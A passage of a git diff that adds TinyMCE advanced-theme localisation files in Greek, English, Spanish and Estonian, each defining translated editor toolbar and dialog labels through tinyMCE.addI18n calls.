\u03c0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b5\u03c2 \u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2 ;","blockquote_desc":"Blockquote","help_desc":"\u0392\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1","newdocument_desc":"\u039d\u03ad\u03bf \u03ad\u03b3\u03b3\u03c1\u03b1\u03c6\u03bf","image_props_desc":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","paste_desc":"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7","copy_desc":"\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae","cut_desc":"\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae","anchor_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 anchor","visualaid_desc":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7/\u0391\u03c0\u03cc\u03ba\u03c1\u03c5\u03c8\u03b7 \u03b2\u03bf\u03b7\u03b8\u03b7\u03c4\u03b9\u03ba\u03ce\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03ba\u03b1\u03b9 \u03b1\u03cc\u03c1\u03b1\u03c4\u03c9\u03bd \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03c9\u03bd","charmap_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1","backcolor_desc":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","forecolor_desc":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","custom1_desc":"\u0397 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03c3\u03b1\u03c2 \u03b5\u03b4\u03ce","removeformat_desc":"\u0391\u03c6\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 \u03bc\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7\u03c2","hr_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","sup_desc":"\u0395\u03ba\u03b8\u03ad\u03c4\u03b7\u03c2","sub_desc":"\u0394\u03b5\u03af\u03ba\u03c4\u03b7\u03c2","code_desc":"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 HTML \u039a\u03ce\u03b4\u03b9\u03ba\u03b1","cleanup_desc":"\u039a\u03b1\u03b8\u03b1\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2 \u03bc\u03c0\u03b5\u03c1\u03b4\u03b5\u03bc\u03ad\u03bd\u03bf\u03c5 \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1","image_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","unlink_desc":"\u039a\u03b1\u03c4\u03ac\u03c1\u03b3\u03b7\u03c3\u03b7 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","link_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","redo_desc":"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7 (Ctrl+Y)","undo_desc":"\u0391\u03bd\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 (Ctrl+Z)","indent_desc":"\u0395\u03c3\u03bf\u03c7\u03ae","outdent_desc":"\u03a0\u03c1\u03bf\u03b5\u03be\u03bf\u03c7\u03ae","numlist_desc":"\u039b\u03af\u03c3\u03c4\u03b1 \u03bc\u03b5 \u03c3\u03b5\u03b9\u03c1\u03ac","bullist_desc":"\u039b\u03af\u03c3\u03c4\u03b1 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c3\u03b5\u03b9\u03c1\u03ac","justifyfull_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03c0\u03bb\u03ae\u03c1\u03b7\u03c2","justifyright_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03b4\u03b5\u03be\u03b9\u03ac","justifycenter_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03ba\u03ad\u03bd\u03c4\u03c1\u03bf","justifyleft_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","striketrough_desc":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03bc\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03b1",toolbar:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","image_delta_height":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/el_dlg.js b/js/tiny_mce2/themes/advanced/langs/el_dlg.js new file mode 100755 index 0000000..c7fd7f7 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advanced_dlg',{"link_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd","link_is_external":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc\u03c2 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf http:// ;","link_is_email":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 email, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf mailto: ;","link_titlefield":"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2","link_target_blank":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03b5 \u03bd\u03ad\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf","link_target_same":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03af\u03b4\u03b9\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf","link_target":"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2","link_url":"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","link_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","image_align_right":"\u0394\u03b5\u03be\u03b9\u03ac","image_align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","image_align_textbottom":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03ba\u03ac\u03c4\u03c9","image_align_texttop":"\u039a\u03ad\u03b9\u03bc\u03b5\u03bd\u03bf \u03c0\u03ac\u03bd\u03c9","image_align_bottom":"\u039a\u03ac\u03c4\u03c9","image_align_middle":"\u039c\u03ad\u03c3\u03b7","image_align_top":"\u0395\u03c0\u03ac\u03bd\u03c9","image_align_baseline":"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","image_align":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7","image_hspace":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1","image_vspace":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5\u03c4\u03b7","image_dimensions":"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2","image_alt":"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","image_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd","image_border":"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf","image_src":"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u0395\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","image_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","charmap_title":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1","colorpicker_name":"\u038c\u03bd\u03bf\u03bc\u03b1:","colorpicker_color":"\u03a7\u03c1\u03ce\u03bc\u03b1:","colorpicker_named_title":"\u039f\u03bd\u03bf\u03bc\u03b1\u03c3\u03c4\u03b9\u03ba\u03ac \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1","colorpicker_named_tab":"\u039f\u03bd\u03bf\u03bc\u03b1\u03c3\u03c4\u03b9\u03ba\u03ac","colorpicker_palette_title":"\u03a7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1 \u03c0\u03b1\u03bb\u03ad\u03c4\u03b1\u03c2","colorpicker_palette_tab":"\u03a0\u03b1\u03bb\u03ad\u03c4\u03b1","colorpicker_picker_title":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2","colorpicker_picker_tab":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae","colorpicker_title":"\u0394\u03b9\u03b1\u03bb\u03ad\u03be\u03c4\u03b5 \u03c7\u03c1\u03ce\u03bc\u03b1","code_wordwrap":"\u0391\u03bd\u03b1\u03b4\u03af\u03c0\u03bb\u03c9\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","code_title":"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03ae\u03c2 \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1 HTML","anchor_name":"\u038c\u03bd\u03bf\u03bc\u03b1 anchor","anchor_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 anchor","about_loaded":"\u03a6\u03bf\u03c1\u03c4\u03c9\u03bc\u03ad\u03bd\u03b1 \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1","about_version":"\u0388\u03ba\u03b4\u03bf\u03c3\u03b7","about_author":"\u03a3\u03c5\u03b3\u03b3\u03c1\u03b1\u03c6\u03ad\u03b1\u03c2","about_plugin":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03bf \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03bf","about_plugins":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03b1 \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1","about_license":"\u0386\u03b4\u03b5\u03b9\u03b1","about_help":"\u0392\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1","about_general":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac","about_title":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03bf TinyMCE","charmap_usage":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b5\u03af\u03c3\u03c4\u03b5 \u03c4\u03bf \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03cc \u03ba\u03b1\u03b9 \u03b4\u03b5\u03be\u03af \u03b2\u03b5\u03bb\u03ac\u03ba\u03b9 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c0\u03bb\u03bf\u03b7\u03b3\u03b7\u03b8\u03b5\u03af\u03c4\u03b5","anchor_invalid":"\u03a0\u03b1\u03c1\u03b1\u03ba\u03b1\u03bb\u03ce \u03b5\u03b9\u03c3\u03ac\u03b3\u03b5\u03c4\u03b5 \u03ad\u03bd\u03b1 \u03ad\u03b3\u03ba\u03c5\u03c1\u03bf \u03cc\u03bd\u03bf\u03bc\u03b1 anchor.","accessibility_usage_title":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ae \u03a7\u03c1\u03ae\u03c3\u03b7","accessibility_help":"Accessibility Help"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/en.js b/js/tiny_mce2/themes/advanced/langs/en.js new file mode 100755 index 0000000..6e58481 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/en.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advanced',{"underline_desc":"Underline (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"Bold (Ctrl+B)",dd:"Definition Description",dt:"Definition Term ",samp:"Code Sample",code:"Code",blockquote:"Block Quote",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Preformatted",address:"Address",div:"DIV",paragraph:"Paragraph",block:"Format",fontdefault:"Font Family","font_size":"Font Size","style_select":"Styles","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","more_colors":"More Colors...","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"Are you sure you want clear all contents?",path:"Path","clipboard_msg":"Copy/Cut/Paste is not available in Mozilla and Firefox.\nDo you want more information about this issue?","blockquote_desc":"Block Quote","help_desc":"Help","newdocument_desc":"New Document","image_props_desc":"Image Properties","paste_desc":"Paste (Ctrl+V)","copy_desc":"Copy (Ctrl+C)","cut_desc":"Cut (Ctrl+X)","anchor_desc":"Insert/Edit Anchor","visualaid_desc":"show/Hide Guidelines/Invisible Elements","charmap_desc":"Insert Special Character","backcolor_desc":"Select Background Color","forecolor_desc":"Select Text Color","custom1_desc":"Your Custom Description Here","removeformat_desc":"Remove Formatting","hr_desc":"Insert Horizontal Line","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Edit HTML Source","cleanup_desc":"Cleanup Messy Code","image_desc":"Insert/Edit Image","unlink_desc":"Unlink","link_desc":"Insert/Edit Link","redo_desc":"Redo (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Increase Indent","outdent_desc":"Decrease Indent","numlist_desc":"Insert/Remove Numbered List","bullist_desc":"Insert/Remove Bulleted List","justifyfull_desc":"Align Full","justifyright_desc":"Align Right","justifycenter_desc":"Align Center","justifyleft_desc":"Align Left","striketrough_desc":"Strikethrough","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/en_dlg.js b/js/tiny_mce2/themes/advanced/langs/en_dlg.js new file mode 100755 index 0000000..e451f37 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advanced_dlg',{"link_list":"Link List","link_is_external":"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?","link_is_email":"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?","link_titlefield":"Title","link_target_blank":"Open Link in a New Window","link_target_same":"Open Link in the Same Window","link_target":"Target","link_url":"Link URL","link_title":"Insert/Edit Link","image_align_right":"Right","image_align_left":"Left","image_align_textbottom":"Text Bottom","image_align_texttop":"Text Top","image_align_bottom":"Bottom","image_align_middle":"Middle","image_align_top":"Top","image_align_baseline":"Baseline","image_align":"Alignment","image_hspace":"Horizontal Space","image_vspace":"Vertical Space","image_dimensions":"Dimensions","image_alt":"Image Description","image_list":"Image List","image_border":"Border","image_src":"Image URL","image_title":"Insert/Edit Image","charmap_title":"Select Special Character","colorpicker_name":"Name:","colorpicker_color":"Color:","colorpicker_named_title":"Named Colors","colorpicker_named_tab":"Named","colorpicker_palette_title":"Palette Colors","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Color Picker","colorpicker_picker_tab":"Picker","colorpicker_title":"Select a Color","code_wordwrap":"Word Wrap","code_title":"HTML Source Editor","anchor_name":"Anchor Name","anchor_title":"Insert/Edit Anchor","about_loaded":"Loaded Plugins","about_version":"Version","about_author":"Author","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"License","about_help":"Help","about_general":"About","about_title":"About TinyMCE","charmap_usage":"Use left and right arrows to navigate.","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage","invalid_color_value":"Invalid color value"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/es.js b/js/tiny_mce2/themes/advanced/langs/es.js new file mode 100755 index 0000000..ef9f264 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/es.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advanced',{"underline_desc":"Subrayado (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negrita (Ctrl+B)",dd:"Descripci\u00f3n de definici\u00f3n",dt:"T\u00e9rmino de definici\u00f3n",samp:"Ejemplo de c\u00f3digo",code:"C\u00f3digo",blockquote:"Cita",h6:"Encabezado 6",h5:"Encabezado 5",h4:"Encabezado 4",h3:"Encabezado 3",h2:"Encabezado 2",h1:"Encabezado 1",pre:"Preformateado",address:"Direcci\u00f3n",div:"Div",paragraph:"P\u00e1rrafo",block:"Formato",fontdefault:"Fuente","font_size":"Tama\u00f1o","style_select":"Estilos","more_colors":"M\u00e1s colores","toolbar_focus":"Ir a los botones de herramientas - Alt+Q, Ir al editor - Alt-Z, Ir a la ruta del elemento - Alt-X",newdocument:" \u00bfSeguro que desea limpiar todo el contenido?",path:"Ruta","clipboard_msg":"Copiar/Cortar/Pegar no se encuentra disponible en Mozilla y Firefox.\n \u00bfQuiere m\u00e1s informaci\u00f3n sobre este tema?","blockquote_desc":"Cita","help_desc":"Ayuda","newdocument_desc":"Nuevo documento","image_props_desc":"Propiedades de imagen","paste_desc":"Pegar","copy_desc":"Copiar","cut_desc":"Cortar","anchor_desc":"Insertar/editar ancla","visualaid_desc":"Mostrar/ocultar l\u00ednea de gu\u00eda/elementos invisibles","charmap_desc":"Insertar caracteres personalizados","backcolor_desc":"Elegir color de fondo","forecolor_desc":"Elegir color del texto","custom1_desc":"Su descripci\u00f3n personal aqu\u00ed","removeformat_desc":"Limpiar formato","hr_desc":"Insertar regla horizontal","sup_desc":"Super\u00edndice","sub_desc":"Sub\u00edndice","code_desc":"Editar c\u00f3digo HTML","cleanup_desc":"Limpiar c\u00f3digo basura","image_desc":"Insertar/editar imagen","unlink_desc":"Quitar hiperv\u00ednculo","link_desc":"Insertar/editar hiperv\u00ednculo","redo_desc":"Rehacer (Ctrl+Y)","undo_desc":"Deshacer (Ctrl+Z)","indent_desc":"Aumentar sangr\u00eda","outdent_desc":"Reducir sangr\u00eda","numlist_desc":"Lista ordenada","bullist_desc":"Lista desordenada","justifyfull_desc":"Justificar","justifyright_desc":"Alinear a la derecha","justifycenter_desc":"Alinear al centro","justifyleft_desc":"Alinear a la izquierda","striketrough_desc":"Tachado","help_shortcut":"Presiones ALT-F10 para la barra de herramientas. Presione ALT-0 para ayuda.","rich_text_area":"\u00c1rea de texto con formato","shortcuts_desc":"Ayuda de accesibilidad",toolbar:"Barra de Herramientas","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/es_dlg.js b/js/tiny_mce2/themes/advanced/langs/es_dlg.js new file mode 100755 index 0000000..0b2592e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advanced_dlg',{"link_list":"Lista de hiperv\u00ednculos","link_is_external":"La URL que introdujo parece ser un v\u00ednculo externo, \u00bfdesea agregar el prefijo http:// necesario?","link_is_email":"La URL que introdujo parece ser una direcci\u00f3n de email, \u00bfdesea agregar el prefijo mailto: necesario?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir v\u00ednculo en una ventana nueva","link_target_same":"Abrir v\u00ednculo en la misma ventana","link_target":"Destino","link_url":"URL del hiperv\u00ednculo","link_title":"Insertar/editar hiperv\u00ednculo","image_align_right":"Derecha","image_align_left":"Izquierda","image_align_textbottom":"Texto debajo","image_align_texttop":"Texto arriba","image_align_bottom":"Debajo","image_align_middle":"Medio","image_align_top":"Arriba","image_align_baseline":"L\u00ednea base","image_align":"Alineaci\u00f3n","image_hspace":"Espacio horizontal","image_vspace":"Espacio vertical","image_dimensions":"Dimensi\u00f3n","image_alt":"Descripci\u00f3n de la Imagen","image_list":"Lista de la Imagen","image_border":"Borde","image_src":"URL de la Imagen","image_title":"Insertar/editar imagen","charmap_title":"Elegir caracter personalizado","colorpicker_name":"Nombre:","colorpicker_color":"Color:","colorpicker_named_title":"Colores nombrados","colorpicker_named_tab":"Nombrados","colorpicker_palette_title":"Paleta de colores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Paleta de color","colorpicker_picker_tab":"Selector","colorpicker_title":"Elegir color","code_wordwrap":"Ajustar al margen","code_title":"Editor del c\u00f3digo fuente HTML","anchor_name":"Nombre del ancla","anchor_title":"Insertar/editar ancla","about_loaded":"Complementos cargados","about_version":"Versi\u00f3n","about_author":"Autor","about_plugin":"Complemento","about_plugins":"Complementos","about_license":"Licencia","about_help":"Ayuda","about_general":"Acerca de ","about_title":"Acerca de TinyMCE","charmap_usage":"Use las flechas para navegar","anchor_invalid":"Especifique un nombre v\u00e1lido para liga","accessibility_help":"Ayuda sobre Accesibilidad","accessibility_usage_title":"Uso General"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/et.js b/js/tiny_mce2/themes/advanced/langs/et.js new file mode 100755 index 0000000..5c0c793 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/et.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advanced',{"underline_desc":"Allajoonitud (Ctrl+U)","italic_desc":"Kursiiv (Ctrl+I)","bold_desc":"Rasvane (Ctrl+B)",dd:"Defineeringu kirjeldus",dt:"Defineeringu tingimus",samp:"Koodi n\u00e4ide",code:"Kood",blockquote:"Plokkviide",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Eelformeeritud",address:"Aadress",div:"Div",paragraph:"Paragraaf",block:"Formaat",fontdefault:"Font","font_size":"Fondi suurus","style_select":"Stiilid","more_colors":"Rohkem v\u00e4rve","toolbar_focus":"H\u00fcppa t\u00f6\u00f6riista nuppudele - Alt+Q, H\u00fcppa redigeerijale - Alt-Z, H\u00fcppa elemendi teele - Alt-X",newdocument:"Oled sa kindel, et tahad kustutada k\u00f5ik sisud?",path:"Tee","clipboard_msg":"Kopeeri/L\u00f5ika/Kleebi ei ole Mozillas ja Firefoxis saadaval. Kas soovid rohkem infot selle probleemi kohta?","blockquote_desc":"Plokkviide","help_desc":"Abi","newdocument_desc":"Uus dokument","image_props_desc":"Pildi kirjeldus","paste_desc":"Kleebi","copy_desc":"Kopeeri","cut_desc":"L\u00f5ika","anchor_desc":"Sisesta/redigeeri ankur","visualaid_desc":"L\u00fclita \u00fcmber juhtjooned/n\u00e4htamatud elemendid","charmap_desc":"Sisesta kohandatud kirjam\u00e4rk","backcolor_desc":"Vali tausta v\u00e4rv","forecolor_desc":"Vali teksti v\u00e4rv","custom1_desc":"Teie kohandatud kirjeldus siia","removeformat_desc":"Eemalda vormindus","hr_desc":"Sisesta horisontaalne joonlaud","sup_desc":"\u00dclaindeks","sub_desc":"Alaindeks","code_desc":"Redigeeri HTML l\u00e4htekoodi","cleanup_desc":"Puhasta segane kood","image_desc":"Sisesta/redigeeri pilt","unlink_desc":"Eemalda link","link_desc":"Sisesta/redigeeri link","redo_desc":"Tee uuesti (Ctrl+Y)","undo_desc":"V\u00f5ta tagasi (Ctrl+Z)","indent_desc":"Taanda sisse","outdent_desc":"Taanda v\u00e4lja","numlist_desc":"Korrap\u00e4rane loetelu","bullist_desc":"Ebakorrap\u00e4rane loetelu","justifyfull_desc":"T\u00e4isjoondus","justifyright_desc":"Parem joondus","justifycenter_desc":"Keskjoondus","justifyleft_desc":"Vasak joondus","striketrough_desc":"L\u00e4bijoonitud","help_shortcut":"Vajuta ALT-F10 t\u00f6\u00f6riistariba jaoks. Vajuta ALT-0 abi saamiseks","rich_text_area":"Vormindatud tekstiala","shortcuts_desc":"K\u00e4ttesaadavus spikker",toolbar:"T\u00f6\u00f6riistariba","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/et_dlg.js b/js/tiny_mce2/themes/advanced/langs/et_dlg.js new file mode 100755 index 0000000..2226a12 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advanced_dlg',{"link_list":"Lingi loetelu","link_is_external":"URL, mille sisestasite, tundub olevat v\u00e4line link, kas soovite, et lisataks http:// eesliite?","link_is_email":"URL, mille te sisestasite, tundub olevat emaili aadress, kas soovite, et lisataks mailto: eesliite?","link_titlefield":"Tiitel","link_target_blank":"Ava link uues aknas","link_target_same":"Ava link samas aknas","link_target":"Sihtala","link_url":"Link URL","link_title":"Sisesta/redigeeri link","image_align_right":"Parem","image_align_left":"Vasak","image_align_textbottom":"Teksti p\u00f5hi","image_align_texttop":"Teksti tipp","image_align_bottom":"Alumine","image_align_middle":"Keskmine","image_align_top":"\u00dclemine","image_align_baseline":"Kirjajoondus","image_align":"Reastus","image_hspace":"Horisontaalne vahe","image_vspace":"Vertikaalne vahe","image_dimensions":"Dimensioonid","image_alt":"Pildi kirjeldus","image_list":"Pildi loend","image_border":"Raam","image_src":"Pildi URL","image_title":"Sisestal/redigeeri 